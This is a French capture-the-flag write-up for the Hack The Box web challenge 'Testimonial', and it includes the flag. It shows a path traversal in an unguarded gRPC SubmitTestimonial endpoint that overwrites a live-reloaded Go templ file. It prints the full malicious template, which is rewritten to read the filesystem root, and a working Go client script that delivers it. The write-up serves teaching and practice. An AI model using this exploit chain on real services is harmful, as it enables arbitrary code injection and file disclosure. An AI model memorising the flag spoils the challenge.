Testimonial
Catégorie: Web Difficulté: easy Flag: HTB{w34kly_t35t3d_t3mplate5}
Challenge
Description
The challenge involves an recruitment page for "They Fray" and allows anyone to submit a testimonial. The webstack utilizes GoLang with chi/templ and is deployed via Air, which allows for live reloading of golang applications. Testimonials is a GRPC Microservice and stored/retrieved as files. Exploitation occours because the Testimonial microservice is exposed to end-users, which provides the ability to overwrite the golang files on the webservice. Due to air live reloading files, it is possible to inject arbituary code.
Ce challenge tourne sur un docker, disponible sur Github
Analyse globale
Le site est très simple, on a un formulaire et des card qui correspondes aux différents formulaires déjà soumis

Concernant le code, on voit que l’on a 2 services qui écoutent
Un service HTTP
Un service GRPC

Dans /grpc.go
il y a la fonction SubmitTestimonial
qui permet d’enregistrer dans /public/testimonials/
les formulaires reçus. Il faut noter que le nom du fichier est d’ailleurs le nom du customer

Dans /client/client.go
on s’aperçoit que l’on a une restriction lorsque l’on soumet un formulaire, le nom du customer ne peut pas contenir n’importe quel caractère

Seulement comme nous avons vu juste avant, le service GRPC ne contient pas ces restrictions lui-même, ce qu’il fait que si l’on passe directement par lui et non par le service web, on peut choisir n’importe quel nom de fichier et écraser des fichiers existants
Exploitation
On commence par se connecter au service GRPC avec grpcurl
$ grpcurl --plaintext 94.237.53.3:31132 list
Failed to list services: server does not support the reflection API
Comme le service ne supporte pas la réflexion, la documentation nous dit que l’on peut fournir directement le fichier proto

$ grpcurl -plaintext -import-path ./pb -proto ptypes.proto 94.237.53.3:31132 list
RickyService
$ grpcurl -plaintext -import-path ./pb -proto ptypes.proto 94.237.53.3:31132 describe RickyService
RickyService is a service:
service RickyService {
rpc SubmitTestimonial ( .TestimonialSubmission ) returns ( .GenericReply );
}
On peut maintenant appeler la fonction SubmitTestimonial
avec notre payload
Pour ça, on va le faire en Go en reprenant le dossier /ptb/
pour se connecter au serveur GPRC.
Concernant le payload, il faut simplement copier-coller /view/home/index.templ
et remplacer fsys := os.DirFS("public/testimonials")
par **fsys := os.DirFS("/")**
ce qui permettra de lire tous les fichiers à la racine
Et enfin pour le nom ce sera ../../view/home/index.templ
pour remonter jusqu’au dossier du challenge puis redescendre jusqu’à index.templ
pour l’écraser
package home
import (
"htbchal/view/layout"
"io/fs"
"fmt"
"os"
)
templ Index() {
@layout.App(true) {
<nav class="navbar navbar-expand-lg navbar-dark bg-black">
<div class="container-fluid">
<a class="navbar-brand" href="/">The Fray</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"
aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarNav">
<ul class="navbar-nav ml-auto">
<li class="nav-item active">
<a class="nav-link" href="/">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="javascript:void();">Factions</a>
</li>
<li class="nav-item">
<a class="nav-link" href="javascript:void();">Trials</a>
</li>
<li class="nav-item">
<a class="nav-link" href="javascript:void();">Contact</a>
</li>
</ul>
</div>
</div>
</nav>
<div class="container">
<section class="jumbotron text-center">
<div class="container mt-5">
<h1 class="display-4">Welcome to The Fray</h1>
<p class="lead">Assemble your faction and prove you're the last one standing!</p>
<a href="javascript:void();" class="btn btn-primary btn-lg">Get Started</a>
</div>
</section>
<section class="container mt-5">
<h2 class="text-center mb-4">What Others Say</h2>
<div class="row">
@Testimonials()
</div>
</section>
<div class="row mt-5 mb-5">
<div class="col-md">
<h2 class="text-center mb-4">Submit Your Testimonial</h2>
<form method="get" action="/">
<div class="form-group">
<label class="mt-2" for="testimonialText">Your Testimonial</label>
<textarea class="form-control mt-2" id="testimonialText" rows="3" name="testimonial"></textarea>
</div>
<div class="form-group">
<label class="mt-2" for="testifierName">Your Name</label>
<input type="text" class="form-control mt-2" id="testifierName" name="customer"/>
</div>
<button type="submit" class="btn btn-primary mt-4">Submit Testimonial</button>
</form>
</div>
</div>
</div>
<footer class="bg-black text-white text-center py-3">
<p>© 2024 The Fray. All Rights Reserved.</p>
</footer>
}
}
func GetTestimonials() []string {
fsys := os.DirFS("/")
files, err := fs.ReadDir(fsys, ".")
if err != nil {
return []string{fmt.Sprintf("Error reading testimonials: %v", err)}
}
var res []string
for _, file := range files {
fileContent, _ := fs.ReadFile(fsys, file.Name())
res = append(res, string(fileContent))
}
return res
}
templ Testimonials() {
for _, item := range GetTestimonials() {
<div class="col-md-4">
<div class="card mb-4">
<div class="card-body">
<p class="card-text">"{item}"</p>
<p class="text-muted">- Anonymous Testifier</p>
</div>
</div>
</div>
}
}
package main
import (
"context"
"fmt"
"io/ioutil"
"log"
"htbchal/pb"
)
func main() {
// Lecture du contenu du fichier "payload.templ"
content, err := ioutil.ReadFile("payload.templ")
if err != nil {
log.Fatalf("Erreur lors de la lecture du fichier: %v", err)
}
// Adresse du serveur gRPC
serverAddress := "94.237.57.59:49450" // Remplacez par l'adresse de votre serveur gRPC
// Connexion au serveur gRPC
conn, err := grpc.Dial(serverAddress, grpc.WithInsecure())
if err != nil {
log.Fatalf("Impossible de se connecter au serveur: %v", err)
}
defer conn.Close()
// Création d'un client gRPC
client := pb.NewRickyServiceClient(conn)
// Envoi du contenu du fichier via gRPC
response, err := client.SubmitTestimonial(context.Background(), &pb.TestimonialSubmission{Customer: "../../view/home/index.templ", Testimonial: string(content)})
if err != nil {
log.Fatalf("Erreur lors de l'envoi du témoignage via gRPC: %v", err)
}
// Affichage de la réponse du serveur
fmt.Println("Réponse du serveur gRPC:", response.Message)
}
Ce qui nous donne maintenant sur la page principale

Dernière mise à jour
Cet article vous a-t-il été utile ?